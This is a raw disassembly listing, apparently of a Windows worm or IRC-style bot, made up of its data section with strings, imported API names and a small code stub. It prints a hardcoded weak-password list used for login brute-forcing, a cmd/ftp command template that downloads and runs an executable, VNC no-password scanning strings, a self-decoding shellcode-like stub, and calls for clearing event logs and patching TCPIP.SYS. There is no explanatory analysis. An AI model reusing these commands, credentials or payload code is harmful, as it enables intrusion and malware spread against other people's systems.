Cannot open TCPIP.SYS, version %d.',0 ; DATA XREF: sub_41FE93+1EBo align 4 off_448FE4 dd offset word_622B72 ; DATA XREF: sub_41FE93+1C9o dword_448FE8 dd 99h dword_448FEC dd 0E5h dword_448FF0 dd 5 dword_448FF4 dd 0FCh dword_448FF8 dd 6 dword_448FFC dd 16h dword_449000 dd 0C8h dword_449004 dd 3 dword_449008 dd 0E8h aSTcpip_sysVers db '%s TCPIP.SYS version is wrong.',0 ; DATA XREF: sub_41FE93+94o align 4 aSDriversTcpip_ db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_41FE93+5Eo align 4 aSFailedToConne db '%s Failed to connect to HTTP server.',0 ; DATA XREF: sub_42042B+1DEo align 4 aSCouldNotOpenA db '%s Could not open a connection.',0 ; DATA XREF: sub_42042B+1D2o aSInvalidUrl_ db '%s Invalid URL.',0 ; DATA XREF: sub_42042B+1BDo align 10h aSFailedToGetRe db '%s Failed to get requested URL from HTTP server.',0 ; DATA XREF: sub_42042B:loc_4205D6o align 4 aSUrlVisited_ db '%s URL visited.',0 ; DATA XREF: sub_42042B+1A4o asc_4490E4 db '*/*',0 ; DATA XREF: sub_42042B+48o off_4490E8 dd offset a123 ; DATA XREF: .text:00421415r ; .text:00421421o ; "123" dd offset a1234 ; "1234" dd offset aLetmein ; "letmein" dd offset aAdmin_0 ; "admin" dd offset a1234567 ; "1234567" dd offset aPassword ; "password" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset off_43CF04 dd offset aPass_0 ; "pass" dd offset aMaster ; "master" dd offset aQwerty ; "qwerty" dd offset a12345678 ; "12345678" dd offset a654321 ; "654321" dd 0 dd 66B5217h aNxSystemrootSy db '#NX',7,'%systemroot%\system32\cmd.exe',0 align 4 aExit db 'exit',0 align 4 word_449154 dw 1 ; DATA XREF: sub_42075C+24r ; .text:004208B0r align 4 word_449158 dw 4 ; DATA XREF: sub_42075C+10r align 4 dword_44915C dd 6325h ; sub_420BEE+3B4o ... aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> i &echo user %s %s >> i &echo get %s >>' ; DATA XREF: .text:00420AA6o db ' i &echo quit >> i &ftp -nv -s:i &%s &exit &exit',0 align 4 aSDDDD_exe db '%s%d%d%d%d.exe',0 ; DATA XREF: .text:00420A48o align 4 loc_4491E4: ; DATA XREF: .text:004208E5o ; sub_420BEE+2Co jmp ebx ; --------------------------------------------------------------------------- align 4 dword_4491E8 dd 0DFFh ; sub_420BEE+21o dword_4491EC dd 0EBFFh ; sub_420BEE+10o dword_4491F0 dd 201h dword_4491F4 dd 20424652h, 2E333030h, 0A383030h, 0aVncD_DSS db 'VNC%d.%d: %s - %s',0 ; DATA XREF: sub_420BEE+60Do align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> i &echo user %s %s >> i &echo get %s >>' ; DATA XREF: sub_420BEE+384o ; sub_420BEE+744o db ' i &echo quit >> i &ftp -nv -s:i &%s &exit',0 aVncD_DSNopass db 'VNC%d.%d: %s - (NoPass)',0 ; DATA XREF: sub_420BEE+256o aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_420BEE+CFo align 10h aFb db 'f',7,0 ; DATA XREF: sub_421589+96o align 4 dword_4492B8 dd 129F74h, 0 dword_4492C0 dd 127D78h, 0 ; =============== S U B R O U T I N E ======================================= sub_4492C8 proc near ; DATA XREF: sub_421589+C8o ; FUNCTION CHUNK AT 004492CE SIZE 00000043 BYTES pusha jmp short loc_4492CE sub_4492C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4492CB proc near ; CODE XREF: sub_4492C8:loc_4492CEp pop ebx push ebx retn sub_4492CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4492C8 loc_4492CE: ; CODE XREF: sub_4492C8+1j call sub_4492CB xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_4492DB: ; CODE XREF: sub_4492C8+3Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_4492DB popa loc_449307: ; DATA XREF: sub_421589+A7r add [ebx+31h], al loc_44930A: ; DATA XREF: sub_421589+A1r mov ebp, 7FC77h loc_44930F: ; DATA XREF: sub_421589:loc_42186Fr ; sub_421589+310r ... add [ecx], al ; END OF FUNCTION CHUNK FOR sub_4492C8 ; --------------------------------------------------------------------------- db 3 dup(0) db 43h ; --------------------------------------------------------------------------- loc_449315: ; CODE XREF: .text:00449317j xor eax, eax ja short loc_449315 pop es ; --------------------------------------------------------------------------- dw 0 dd 1, 77BB1F89h, 7FCh, 1, 77C01F89h, 7FCh, 1, 655B4F02h dd 7E7h, 0 dword_449344 dd 158h dword_449348 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_421589+24Co dword_44935C dd 65706970h, 736B775Ch, 637673hdword_449368 dd 73255C5Ch, 5Ch ; sub_421589+1DEo off_449370 dd offset off_42F434 ; DATA XREF: .text:off_42FBF0o ; .text:0042FC34o ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h dword_449390 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_4493A0 dd offset off_42F434 ; DATA XREF: .text:off_42FCC8o ; .text:0042FD04o ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h aUs db 'u',0 align 4 aSs db 's',0 align 4 off_4493C8 dd offset sub_42346C ; DATA XREF: sub_4284ACr dd offset nullsub_2 dd offset nullsub_2 align 10h dword_4493E0 dd 19930520h, 3 dup(0) ; sub_423A4E+2o dd offset sub_429B43 align 10h off_449400 dd offset off_42F434 ; DATA XREF: .text:off_42FD40o ; .text:0042FD7Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dword_449420 dd 1B3Fh align 10h off_449430 dd offset dword_631B00 ; DATA XREF: sub_4245ECo ; sub_424780+55o ... dd 0 dd offset dword_631B00 dd 101h dword_449440 dd 2 dup(0) dd 1000h, 0 dword_449450 dd 3 dup(0) ; sub_425014+50o ... dd 2, 1, 3 dup(0) dword_449470 dd 3 dup(0) ; sub_425014+58o ... dd 2 dup(2), 7 dup(0) dword_4494A0 dd 7Ch dup(0) dword_449690 dd 8 dup(0) ; sub_42488E+Do off_4496B0 dd offset sub_4284EA ; DATA XREF: sub_424780+69o ; sub_424FCB+1Cr dword_4496B4 dd 2 ; sub_42B69E+46r ... off_4496B8 dd offset aNull_0 ; DATA XREF: sub_42512C:loc_425490r ; sub_42512C+457r ; "(null)" off_4496BC dd offset aNull ; DATA XREF: sub_42512C+259r ; "(null)" dword_4496C0 dd 0Ch ; sub_425936+28r ... dword_4496C4 dd 0D2D0920h, 5Dhdword_4496CC dd 5Dh dword_4496D0 dd 1 dword_4496D4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch off_449838 dd offset word_449842 ; DATA XREF: sub_4228B3:loc_4228E3r ; sub_4228B3:loc_4229A0r ... dd offset word_449842 db 2 dup(0) word_449842 dw 20h ; DATA XREF: sub_42D61D+18r ; .text:off_449838o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_449A44 dd 1 ; sub_4228B3:loc_422988r ... byte_449A48 db 2Eh ; DATA XREF: sub_425A04:loc_425CF8r ; sub_425A04+311r ... align 4 dd 1 dword_449A50 dd 0FFFFFFFFh, 0A00h, 7 dup(0) ; sub_426826:loc_4268AAo dd 10h off_449A78 dd offset off_449A78 ; DATA XREF: sub_427D40+Do ; sub_427D40+69o ... off_449A7C dd offset off_449A78 ; DATA XREF: sub_427D40:loc_427DC0r ; sub_427D40+89w ... dd offset dword_449A90 dd offset dword_449A90 dword_449A88 dd 0FFFFFFFFh ; sub_427E84:loc_427ED1w dd 0FFFFFFFFh dword_449A90 dd 0F0h, 0F1h, 800h dup(0) ; .text:00449A84o off_44BA98 dd offset off_449A78 ; DATA XREF: sub_427E84+15r ; sub_427E84+20w ... dword_44BA9C dd 1E0h ; sub_423F63+A7r ... dword_44BAA0 dd 0 ; sub_428497+6r off_44BAA4 dd offset dword_631408 ; DATA XREF: sub_42840D+1Fr dd 7 dup(0) off_44BAC4 dd offset dword_631438 ; DATA XREF: sub_42840D+17r dd 3 dup(0) off_44BAD4 dd offset dword_631450 ; DATA XREF: sub_42840D+Fr dd 3 dup(0) off_44BAE4 dd offset dword_631420 ; DATA XREF: sub_42840D+7r dd 7 dup(0) dd 0AF2798h, 16h dup(0) off_44BB60 dd offset sub_428E12 ; DATA XREF: sub_423484+Fw ; sub_42512C+3AAr off_44BB64 dd offset sub_428ABC ; DATA XREF: sub_423484+5w ; sub_42512C+3E2r off_44BB68 dd offset sub_428B22 ; DATA XREF: sub_423484+14w ; sub_425A04+430r off_44BB6C dd offset sub_428A62 ; DATA XREF: sub_423484+1Ew ; sub_42512C+3CBr off_44BB70 dd offset sub_428B0A ; DATA XREF: sub_423484+28w off_44BB74 dd offset sub_428E12 ; DATA XREF: sub_423484+32w off_44BB78 dd offset a_cmd ; DATA XREF: sub_428FED+109o ; ".cmd" dd offset a_bat ; ".bat" dd offset a_exe ; ".exe" off_44BB84 dd offset a_com ; DATA XREF: sub_428FED+E7o ; ".com" dd offset sub_429B43 align 10h off_44BB90 dd offset sub_429A8C ; DATA XREF: sub_429AED+29r dd 2 dup(43h), 20h dup(0) dd 43h, 20h dup(0) dword_44BCA0 dd 14h off_44BCA4 dd offset aExp ; DATA XREF: sub_42A4F3:loc_42A510r ; "exp" dd 1Dh, 42F6ECh, 1Ah, 42F6E8h, 1Bh, 42F6E0h, 1Fh, 42F6D8h dd 13h, 42F6D0h, 21h, 42F6C8h, 0Eh, 42F6C0h, 0Dh, 42F6B8h dd 0Fh, 42F6B0h, 10h, 42F6A8h, 5, 42F6A0h, 1Eh, 42F69Ch dd 12h, 42F698h, 20h, 42F694h, 0Ch, 42F68Ch, 0Bh, 42F684h dd 15h, 42F67Ch, 1Ch, 42F674h, 19h, 42F66Ch, 11h, 42F664h dd 18h, 42F65Ch, 16h, 42F654h, 17h, 42F64Ch, 22h, 42F648h dd 23h, 42F644h, 24h, 42F640h dbl_44BD78 dq 1.797693134862316e308 ; DATA XREF: sub_42A22C+B7r ; sub_42A22C:loc_42A313r ... dd 0 dd 0FFF80000h dbl_44BD88 dq 1.797693134862316e308 ; DATA XREF: sub_42A22C+92r ; sub_42A22C:loc_42A2EBr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_44BDA0 dt 2.3562723457267347066e313 ; DATA XREF: sub_42A6DB+Dr ; sub_42A6DB+1Fr align 4 tbyte_44BDAC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42A6DB+31r align 4 byte_44BDB8 db 1 ; DATA XREF: sub_42A95E+EDr db 2, 4, 8 align 10h dword_44BDC0 dd 3A4h dword_44BDC4 dd 82798260h, 21h, 0dword_44BDD0 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_44BEB0 dd 0C0000005h, 0Bh, 0 ; sub_42A95E+45o dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_44BF28 dd 3 ; sub_42B05D+86r ... dword_44BF2C dd 7 ; sub_42B05D+8Cr ... dd 78h dword_44BF34 dd 0Ah ; sub_42D97E+4r dword_44BF38 dd 2 ; sub_42B69E+28r off_44BF3C dd offset aR6002FloatingP ; DATA XREF: sub_42B69E+FCr ; sub_42B69E+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 42F928h, 9, 42F8FCh, 0Ah, 42F8D8h, 10h, 42F8ACh dd 11h, 42F87Ch, 12h, 42F858h, 13h, 42F82Ch, 18h, 42F7F4h dd 19h, 42F7CCh, 1Ah, 42F794h, 1Bh, 42F75Ch, 1Ch, 42F734h dd 78h, 42F724h, 79h, 42F714h, 7Ah, 42F704h, 0FCh, 438858h dd 0FFh, 42F6F4h dword_44BFC8 dd 2 dup(0) dword_44BFD0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_44BFE8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 2, 3 dup(0)dword_44C010 dd 7080h ; sub_42D078+75w ... dword_44C014 dd 1 ; sub_42D078+A2w ... dword_44C018 dd 0FFFFF1F0h ; sub_42D078+ABw ... off_44C01C dd offset dword_545350 ; DATA XREF: .text:off_44C09Co dd 0Fh dup(0) off_44C05C dd offset dword_544450 ; DATA XREF: .text:off_44C0A0o dd 0Fh dup(0) off_44C09C dd offset off_44C01C ; DATA XREF: sub_42D078+D0r ; sub_42D078+EFr ... off_44C0A0 dd offset off_44C05C ; DATA XREF: sub_42D078+109r ; sub_42D078+130r ... align 8 dword_44C0A8 dd 0FFFFFFFFh ; sub_42D320+1Er ... dword_44C0AC dd 0 ; sub_42D4CC+BFw dword_44C0B0 dd 0 ; sub_42D4CC+E0w align 8 dword_44C0B8 dd 0FFFFFFFFh ; sub_42D320+26r ... dword_44C0BC dd 0 ; sub_42D4CC+EAw ... dword_44C0C0 dd 0 ; sub_42D4CC+23r ... dword_44C0C4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_44C0F4 dd 16Dh ; sub_42D4CC+2Er ... dword_44C0F8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch dword_44C12C dd 2694h ; sub_429EE1+46r dd offset off_44C138 align 8 off_44C138 dd offset aSun ; DATA XREF: .text:0044C130o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset dword_42FB30+2Ch dd offset dword_42FB30+28h dd offset dword_42FB30+24h dd offset dword_42FB30+20h dd offset dword_42FB30+1Ch dd offset dword_42FB30+18h dd offset dword_42FB30+14h dd offset dword_42FB30+10h dd offset dword_42FB30+0Ch dd offset dword_42FB30+8 dd offset dword_42FB30+4 dd offset dword_42FB30 dd offset off_42FB2C dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset dword_42FB30+18h dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset dword_42FA80+44h dd offset dword_42FA80+40h dd offset dword_42FA80+3Ch dd offset dword_42FA80+34h dd offset dword_42FA80+20h dd offset dword_42FA80+18h align 8 dword_44C1E8 dd 2Eh, 0 dd offset dword_44C1E8 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd offset dword_631754 dd 2 dup(7F7F7F7Fh), 44C1F0h, 3 dup(0) dword_44C230 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_44C390 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42EB32+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dword_44C4F0 dd 0 ; sub_40203F+9w dword_44C4F4 dd 0 ; sub_40203F+21r dword_44C4F8 dd 0 ; sub_40203F+27r align 10h dword_44C500 dd 0 ; sub_40203F+83r dd 21h dup(0) dword_44C588 dd 0 ; sub_4015FC+AEw ... dword_44C58C dd 0 ; sub_40178D+136r ... dd 382h dup(0) dword_44D398 dd 6 dup(0) ; sub_40178D+15Do ... dword_44D3B0 dd 4 dup(0) dword_44D3C0 dd 0 dword_44D3C4 dd 41h dup(0) dword_44D4C8 dd 41h dup(0) dword_44D5CC dd 0 ; sub_401477+111r dword_44D5D0 dd 0 dword_44D5D4 dd 0 ; sub_401477+B5r dword_44D5D8 dd 20h dup(0) dword_44D658 dd 0 dword_44D65C dd 0 dword_44D660 dd 0 dword_44D664 dd 0 ; sub_401477:loc_4015A9r dword_44D668 dd 0 dword_44D66C dd 0 ; sub_402190+8Fr ... dword_44D670 dd 4 dup(0) dword_44D680 dd 0 ; sub_402190+58w ... dword_44D684 dd 0 ; resolved to->NTDLL.RtlInitUnicodeString ; sub_401C4A+35r ... dword_44D688 dd 0 ; resolved to->NTDLL.ZwOpenSection ; sub_401D57+78r ... dword_44D68C dd 0 ; sub_401C4A+2Dr ... dword_44D690 dd 0 ; sub_401E76r ... dword_44D694 dd 0 ; sub_401D57+95r ... dword_44D698 dd 2 dup(0) word_44D6A0 dw 0 ; DATA XREF: sub_402A06+13o ; sub_41FE93+C2o ... align 4 byte_44D6A4 db 0 ; DATA XREF: sub_403B2C+41Ao ; sub_403B2C+494o ... align 4 byte_44D6A8 db 0 ; DATA XREF: sub_40323F+Eo ; sub_40323F+48w ... align 4 dd 31h dup(0) dword_44D770 dd 0 ; sub_4033F0:loc_403588w ... dword_44D774 dd 0 ; sub_4033F0+3Aw ... dd 0 dword_44D77C dd 0 ; sub_4035A8+3Ar dd 7Fh dup(0) dword_44D97C dd 0 ; sub_4035A8+54w dd 9B3h dup(0) db 2 dup(0) word_45004E dw 0 ; DATA XREF: .text:off_44736Co byte_450050 db 3 dup(0) ; DATA XREF: .text:004473B8o byte_450053 db 0 ; DATA XREF: .text:004473A8o dword_450054 dd 0F8Fh dup(0) dword_453E90 dd 0 ; sub_403B2C+1A1Bo dword_453E94 dd 41h dup(0) ; sub_403A30+27o ... dword_453F98 dd 41h dup(0) dword_45409C dd 0 ; sub_403B2C+1A2Dr ... dword_4540A0 dd 0 dword_4540A4 dd 0 ; sub_403B2C+1995w ... dword_4540A8 dd 21h dup(0) dword_45412C dd 0 dword_454130 dd 0 dword_454134 dd 0 ; sub_403B2C:loc_4055CDr dword_454138 dd 0 align 10h dword_454140 dd 20h dup(0) ; sub_40B122+14o dword_4541C0 dd 0 ; resolved to->KERNEL32.Module32First ; sub_40BB43+62w dword_4541C4 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_40BB43+8A9r ... dword_4541C8 dd 0 ; sub_40BB43+A00r dword_4541CC dd 0 ; sub_40BB43+9D0r ... dword_4541D0 dd 0 ; sub_40BB43+9F8r dword_4541D4 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_40BB43+42Fr ... dword_4541D8 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_418B58+132r dword_4541DC dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_40BB43+437r ... dword_4541E0 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_40BB43+45Fr dword_4541E4 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_402E92+5Er ... dword_4541E8 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_40BB43+DCr dword_4541EC dd 0 ; sub_40BB43+9C3r ... dword_4541F0 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_40BB43+44Fr ... dword_4541F4 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_40BB43+8D5r ... dword_4541F8 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_40BB43+2BAr ... dword_4541FC dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_40BB43+8CDr ... dword_454200 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_40BB43+104r dword_454204 dd 0 ; resolved to->WININET.InternetReadFile ; sub_40BB43+8DDr ... dword_454208 dd 0 ; resolved to->ADVAPI32.LockServiceDatabase ; sub_40BB43+46Fr ... dword_45420C dd 0 ; resolved to->ADVAPI32.RegEnumValueA ; sub_40BB43+2DAr ... dword_454210 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_40BB43+6DBr dword_454214 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_40BB43+D4r dword_454218 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_40BB43+A4Ew ... dword_45421C dd 0 ; resolved to->WININET.FtpGetFileAdword_454220 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_40BB43+FCr dword_454224 dd 0 ; sub_40BB43+C2Cr ... dword_454228 dd 0 ; resolved to->WS2_32.ntohl ; sub_40BB43+5F4w dword_45422C dd 0 ; sub_40BB43+9F0r ... dword_454230 dd 0 ; resolved to->WS2_32.ntohs ; sub_40BB43+75Fr ... dword_454234 dd 0 dword_454238 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_40BB43+896r ... dword_45423C dd 0 ; resolved to->USER32.ExitWindowsExdword_454240 dd 0 ; sub_40BB43+9D8r ... dword_454244 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_40BB43+43Fr ... dword_454248 dd 0 ; resolved to->ADVAPI32.OpenThreadToken ; sub_40BB43+31Fr ... dword_45424C dd 0 ; resolved to->ADVAPI32.CloseEventLog ; sub_40BB43+4E8w dword_454250 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_40BB43+447r ... dword_454254 dd 0 ; resolved to->WS2_32.getpeernamedword_454258 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_40BB43+57Fw ... dword_45425C dd 0 ; sub_40BB43+A08r ... dword_454260 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_40BB43+2C2r ... dword_454264 dd 0 ; resolved to->ADVAPI32.RegEnumKeyExA ; sub_415EA7+87r ... dword_454268 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_40BB43+E4r dword_45426C dd 0 ; resolved to->ADVAPI32.SetServiceStatus ; sub_41B226+14Dr ... dword_454270 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_40BB43+BBBr ... dword_454274 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_40BB43+6BEr ... dword_454278 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_40BB43+8B9r ... dword_45427C dd 0 ; resolved to->USER32.CloseWindow ; sub_40BB43+1AFr dword_454280 dd 0 ; sub_40BB43+9E0r ... dword_454284 dd 0 ; resolved to->ADVAPI32.QueryServiceLockStatusA ; sub_40BB43+477r ... dword_454288 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_40BB43+4DBw ... dword_45428C dd 0 ; resolved to->ADVAPI32.RegDeleteKeyA ; sub_40BB43+2CAr ... dword_454290 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_40BB43+4CEw ... dword_454294 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_40BB43+6F3r dword_454298 dd 0 ; resolved to->WININET.InternetOpenA ; sub_40BB43+89Cr dword_45429C dd 0 ; resolved to->SHLWAPI.PathRemoveFileSpecA ; sub_40CDE2+312r ... dword_4542A0 dd 0 ; resolved to->USER32.IsWindow ; sub_40BB43+1CCr ... dword_4542A4 dd 0 ; resolved to->IPHLPAPI.GetNetworkParamsdword_4542A8 dd 0 ; resolved to->WS2_32.getsockname ; sub_403B2C+6ED9r ... dword_4542AC dd 0 ; resolved to->WS2_32.connect ; sub_4016B4+91r ... dword_4542B0 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_40BB43+6E7r ... dword_4542B4 dd 0 ; resolved to->ADVAPI32.RegQueryInfoKeyA ; sub_41A60E+7Ar dword_4542B8 dd 0 ; sub_40BB43:loc_40C465w ... dword_4542BC dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_40BB43+2AAr ... dword_4542C0 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_40BB43+7C7r ... dword_4542C4 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_40BB43+334r ... dword_4542C8 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_40BB43+457r ... dword_4542CC dd 0 ; sub_418436+B5r ... dword_4542D0 dd 0 ; sub_40BB43+C39r ... dword_4542D4 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_40BB43+8B1r ... dword_4542D8 dd 0 ; resolved to->USER32.OpenClipboard ; sub_40BB43+1DCr dword_4542DC dd 0 ; resolved to->IPHLPAPI.GetIfTable ; sub_40BB43+ADFr ... dword_4542E0 dd 0 ; resolved to->WININET.InternetConnectA ; sub_40BB43+8C1r ... dword_4542E4 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_40BB43+77Fr dword_4542E8 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_40BB43+2D2r ... dword_4542EC dd 0 ; sub_416208+86r dword_4542F0 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_40BB43+669w ... dword_4542F4 dd 0 ; resolved to->IPHLPAPI.GetTcpTable ; 